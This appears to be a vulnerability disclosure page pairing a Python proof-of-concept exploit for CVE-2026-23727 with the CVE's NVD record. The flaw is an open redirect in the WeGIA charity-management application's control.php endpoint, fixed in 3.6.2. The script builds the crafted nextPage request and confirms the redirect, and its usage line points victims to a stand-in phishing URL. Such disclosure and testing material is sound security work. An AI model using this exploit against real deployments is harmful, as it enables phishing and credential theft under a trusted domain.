CVE-2026-23727

# CVE-2026-23727 Open Redirect PoC # Affected: WeGIA < 3.6.2 # Target: /WeGIA/controle/control.php # Parameters: nextPage, metodo=listarTodos, nomeClasse=TipoSaidaControle import requests import sys def exploit_open_redirect(target_url, redirect_target): """ Exploit open redirect vulnerability in WeGIA target_url: Base URL of WeGIA application redirect_target: Malicious URL to redirect victims """ params = { 'nomeClasse': 'TipoSaidaControle', 'metodo': 'listarTodos', 'nextPage': redirect_target } exploit_url = f"{target_url}/WeGIA/controle/control.php" print(f"[*] Target: {exploit_url}") print(f"[*] Redirecting to: {redirect_target}") try: response = requests.get(exploit_url, params=params, allow_redirects=False) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[+] Open Redirect Confirmed!") print(f"[+] Location Header: {location}") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <redirect_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100 https://evil.com/phishing") sys.exit(1) target = sys.argv[1].rstrip('/') redirect = sys.argv[2] exploit_open_redirect(target, redirect)

{"cve": {"id": "CVE-2026-23727", "sourceIdentifier": "[email protected]", "published": "2026-01-16T20:15:50.740", "lastModified": "2026-01-30T18:29:51.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a web manager for charitable institutions. Prior to 3.6.2, an Open Redirect vulnerability was identified in the /WeGIA/controle/control.php endpoint of the WeGIA application, specifically through the nextPage parameter when combined with metodo=listarTodos and nomeClasse=TipoSaidaControle. The application fails to validate or restrict the nextPage parameter, allowing attackers to redirect users to arbitrary external websites. This can be abused for phishing attacks, credential theft, malware distribution, and social engineering using the trusted WeGIA domain. This vulnerability is fixed in 3.6.2."}, {"lang": "es", "value": "WeGIA es un gestor web para instituciones benéficas. Antes de 3.6.2, se identificó una vulnerabilidad de redirección abierta en el endpoint /WeGIA/controle/control.php de la aplicación WeGIA, específicamente a través del parámetro nextPage cuando se combina con metodo=listarTodos y nomeClasse=TipoSaidaControle. La aplicación no valida ni restringe el parámetro nextPage, permitiendo a los atacantes redirigir a los usuarios a sitios web externos arbitrarios. Esto puede ser explotado para ataques de phishing, robo de credenciales, distribución de malware e ingeniería social utilizando el dominio de confianza de WeGIA. Esta vulnerabilidad está corregida en 3.6.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.2", "matchCriteriaId": "419B3A85-5754-4198-A73E-92A9DA8E7A68"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/pull/1333", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/3.6.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-pmq9-8p4w-m4f3", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}